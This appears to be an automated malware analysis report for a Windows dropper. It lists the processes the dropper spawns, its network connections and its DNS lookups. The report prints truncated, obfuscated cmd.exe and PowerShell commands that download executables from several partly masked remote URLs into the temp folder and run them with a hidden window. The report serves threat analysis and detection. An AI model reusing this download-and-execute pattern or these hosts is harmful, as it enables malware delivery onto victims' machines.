Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V/C"set mJWx=;'LUZ'=frG$}}{hctac};kaerb;'Hvq'=wWi$;ZaB$ metI-ekovnI;'RwG'=jEq$;)ZaB$ ,jim$(eliFdaolnwoD.kLW${yrt{)rwL$ ni jim$(hcaerof;'exe.'+shL$+'\'+pmet:vne$=ZaB$;'Srn'=AAt$;'253' = shL$;'z...
Network activity
Connects to
- 'ki###arch.com':80
- 'ki###arch.com':443
- 'sh######structions.co.in':80
TCP
HTTP GET requests
- http://ki###arch.com/3f11kFZb
Other
- 'ki###arch.com':443
UDP
- DNS ASK ki###arch.com
- DNS ASK eg####.tk-studio.ru
- DNS ASK e-#####.billioncart.in
- DNS ASK sh######structions.co.in
- DNS ASK bo##ch.ru
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /V/C"set mJWx=;'LUZ'=frG$}}{hctac};kaerb;'Hvq'=wWi$;ZaB$ metI-ekovnI;'RwG'=jEq$;)ZaB$ ,jim$(eliFdaolnwoD.kLW${yrt{)rwL$ ni jim$(hcaerof;'exe.'+shL$+'\'+pmet:vne$=ZaB$;'Srn'=AAt$;'253' = shL$;'z...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /S /D /c" echo powershell $oYz='TDE';$WLk=new-object Net.WebClient;$Lwr='http://ki###arch.com/3f11kFZb@http://egtest.tk-studio.ru/XXeadeuKwQ@http://e-video.billioncart.in/7VIcOtMZ8H@http://shre...
- '<SYSTEM32>\cmd.exe' /S /D /c" FOR /F "tokens=10 delims=Vtk.G\" %l IN ('ftype^|find "sol"') DO %l -"
- '<SYSTEM32>\cmd.exe' /c ftype|find "sol"
- '<SYSTEM32>\cmd.exe' /S /D /c" ftype"
- '<SYSTEM32>\find.exe' "sol"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' =TDE
